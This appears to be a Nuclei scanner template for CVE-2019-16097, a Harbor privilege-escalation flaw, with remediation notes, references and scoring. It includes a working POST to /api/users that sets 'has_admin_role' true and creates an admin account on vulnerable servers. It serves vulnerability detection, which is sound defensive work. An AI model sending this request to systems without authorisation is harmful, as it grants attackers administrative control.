id: CVE-2019-16097 info: name: Harbor <=1.82.0 - Privilege Escalation author: pikpikcu severity: medium description: Harbor 1.7.0 through 1.8.2 is susceptible to privilege escalation via core/api/user.go, which allows allows non-admin users to create admin accounts via the POST /api/users API when Harbor is setup with DB as an authentication backend and allows user to do self-registration. impact: | Successful exploitation of this vulnerability could allow an attacker to escalate their privileges and gain unauthorized access to sensitive information. remediation: Upgrade to v1.7.6 v1.8.3. v.1.9.0 or higher. A potential workaround without applying the fix is to configure Harbor to use a non-DB authentication backend such as LDAP. reference: - https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/ - https://github.com/goharbor/harbor/issues/8951 - https://nvd.nist.gov/vuln/detail/CVE-2019-16097 - https://github.com/goharbor/harbor/commit/b6db8a8a106259ec9a2c48be8a380cb3b37cf517 - http://www.vmware.com/security/advisories/VMSA-2019-0015.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N cvss-score: 6.5 cve-id: CVE-2019-16097 cwe-id: CWE-862 epss-score: 0.96903 epss-percentile: 0.9965 cpe: cpe:2.3:a:linuxfoundation:harbor:1.7.0:-:*:*:*:*:*:* metadata: max-request: 1 vendor: linuxfoundation product: harbor tags: cve,cve2019,intrusive,harbor,linuxfoundation http: - method: POST path: - '{{BaseURL}}/api/users' body: | {"username": "testpoc", "has_admin_role": true, "password": "TestPoc!", "email": "testpoc@interact.sh", "realname": "poc"} headers: Content-Type: application/json matchers-condition: and matchers: - type: word part: response words: - "username has already been used" - "Location: /api/users/" condition: or - type: status status: - 201 - 409 condition: or # digest: 4a0a004730450220617f83b4348bf08706af22013400ce6c41ac38c38f99e30d3a28674ad7a250b5022100f579db27b00eefa89b0d7772a2aa3e11476e2cfc5fdf6263f0de8bb6cd0d7e46:922c64590222798bb761d5b6d8e72950